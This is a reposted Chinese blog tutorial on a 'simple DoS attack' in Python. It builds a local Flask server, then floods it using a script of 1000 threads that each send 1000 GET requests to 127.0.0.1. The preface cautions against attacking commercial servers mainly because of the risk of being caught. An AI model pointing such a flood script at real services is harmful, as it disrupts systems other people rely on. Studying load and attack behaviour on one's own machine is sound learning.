欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 房产 > 建筑 > python-简单的dos攻击

python-简单的dos攻击

2026/4/11 1:07:00 来源:https://blog.csdn.net/yasinawolaopo/article/details/141832445  浏览:    关键词:python-简单的dos攻击

前言

这个是DOS攻击学习(注意:千万别去攻击有商业价值的服务器或应用,不然会死的很惨(只有一个IP通过公网访问容易被抓),前提是网站没有攻击防御)

创建一个以python编写的后端web服务(好观察)

安装flask

pip install flask 
from flask import Flaskapp = Flask(__name__)@app.route("/")
def index():return 'hello world'if __name__ == '__main__':app.run(debug=True)

python编写DOS攻击服务

pip install requests
import requests
from requests.exceptions import RequestException
import threadingdef requestGetOne():try:response = requests.get('http://127.0.0.1:5000', timeout=5)response.raise_for_status()  # 检查响应状态码print(response.text)except RequestException as e:print(f'请求出错: {e}')def print_numbers():for i in range(1000):requestGetOne()if __name__ == "__main__":threads = []for i in range(1000):  # 创建1000个线程thread = threading.Thread(target=print_numbers)threads.append(thread)thread.start()# 等待所有线程结束for thread in threads:thread.join()print("All threads have finished.")

访问稍微会变慢(因为是本机的访问基本没构成TCP连接访问服务+电脑会变卡,CPU占有率是100%)

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词